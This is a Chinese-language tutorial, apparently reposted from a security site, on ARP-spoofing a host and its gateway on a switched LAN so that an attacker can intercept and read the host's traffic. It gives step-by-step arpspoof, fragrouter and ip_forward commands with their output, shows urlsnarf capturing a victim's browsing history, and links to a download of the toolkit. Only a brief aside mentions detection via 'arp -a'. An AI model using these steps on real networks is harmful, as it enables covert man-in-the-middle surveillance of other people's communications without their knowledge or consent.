利用ARP欺騙實現Sniffer目的
轉自:藍盾線上
通常在區域網路環境中,我們都是通過交換環境的網關上網的,在交換環境中使用NetXray或者NAI Sniffer一類的嗅探工具除了抓到自己的包以外,是不能看到其他主機的網路通訊的。
但是我們可以通過利用ARP欺騙可以實現Sniffer的目的。
ARP協議是將IP解析為MAC地址的協議,區域網路中的通訊都是基於MAC的。
例如下面這樣的情況:
在區域網路中192.168.0.24和192.168.0.29都是通過網關192.168.0.1上網的,假定攻擊者的系統為192.168.0.24,他希望聽到192.168.0.29的通訊,那麼我們就可以利用ARP欺騙實現。
1、 首先告訴192.168.0.29,網關192.168.0.1的MAC地址是192.168.0.24
2、 告訴192.168.0.1,192.168.0.29的MAC地址是192.168.0.24。
這樣192.168.0.29和192.168.0.1之間的資料包,就會發給192.168.0.24,也就是攻擊者的機器,這樣就可以聽到會話了。但是這麼做的有一個問題,192.168.0.29發現自己不能上網了,因為原來發給192.168.0.1的資料包都被192.168.0.24接收了,而並沒有發給網關192.168.0.1。
這時候192.168.0.24設定一個包轉寄的東西就可以解決這個問題了,也就是從192.168.0.29收到的包轉寄給192.168.0.1,在把從192.168.0.1收到的包發給192.168.0.29。這樣192.168.0.29根本就不會意識到自己被監聽了。
具體實現:
1、 欺騙192.168.0.29,告訴這台機器網關192.168.0.1的MAC地址是自己(192.168.0.24)。
[root@Linux dsniff-2.3]# ./arpspoof -i eth0 -t 192.168.0.29 192.168.0.1
0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71
0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71
0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71
0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71
0:0:21:0:0:18 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:0:21:0:0:18
………………………………..
這時候對192.168.0.29的ARP欺騙就開始了。
2、 欺騙192.168.0.1,告訴網關192.168.0.29的MAC地址是自己(192.168.0.24)。
[root@Linux dsniff-2.3]# ./arpspoof -i eth0 -t 192.168.0.1 192.168.0.29
0:50:56:40:7:71 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:50:56:40:7:71
0:50:56:40:7:71 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:50:56:40:7:71
0:50:56:40:7:71 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:50:56:40:7:71
0:0:86:61:6b:4e 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:0:86:61:6b:4e
0:0:86:61:6b:4e 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:0:86:61:6b:4e
0:0:86:61:6b:4e 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:0:86:61:6b:4e
其實在這個時候192.168.0.29是可以發現的自己被欺騙了。在CMD下面使用ARP –a命令:
C:/WINNT>arp -a
Interface: 192.168.0.29 on Interface 0x1000003
Internet Address Physical Address Type
192.168.0.1 00-50-56-40-07-71 dynamic
192.168.0.24 00-50-56-40-07-71 dynamic
兩個IP地址的MAC地址居然是一模一樣的!不過很少有人會這麼做:-)。
3、 設定一個包轉寄
[root@Linux fragrouter-1.6]# ./fragrouter -B1
fragrouter: base-1: normal IP forwarding
在這之前別忘了首先需要開啟包轉寄的功能
[root@Linux /proc]# echo 1 >/proc/sys/net/ipv4/ip_forward
萬事具備,可以開始SNIFFER了。
例如想看看192.168.0.29在瀏覽什麼地方:
[root@Linux dsniff-2.3]# ./urlsnarf
urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]
Kitty[18/May/2002:20:02:25+1100]"GET http://pub72.ezboard.com/flasile15596frm1.showAddReplyScreenFromWeb?topicID=29.topic&index=7 HTTP/1.1" - - "http://www.google.com/search?hl=zh-CN&ie=UTF8&oe=UTF8&q=fdfds&btnG=Google%E6%90%9C%E7%B4%A2&lr=" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
Kitty - - [18/May/2002:20:02:28 +1100] "GET http://www.ezboard.com/ztyles/default.css HTTP/1.1" - - "http://pub72.ezboard.com/flasile15596frm1.showAddReplyScreenFromWeb?topicID=29.topic&index=7" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
Kitty - - [18/May/2002:20:02:29 +1100] "GET http://www1.ezboard.com/spch.js?customerid=1147458082 HTTP/1.1" - - "http://pub72.ezboard.com/flasile15596frm1.showAddReplyScreenFromWeb?topicID=29.topic&index=7" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
當然也可以知道其他………:-)
整個過程需要在Linux下面實現,所用到的所有工具可以在http://www.piaoye.net/downsniffer/arpsniffer.zip下載(2.98 MB)。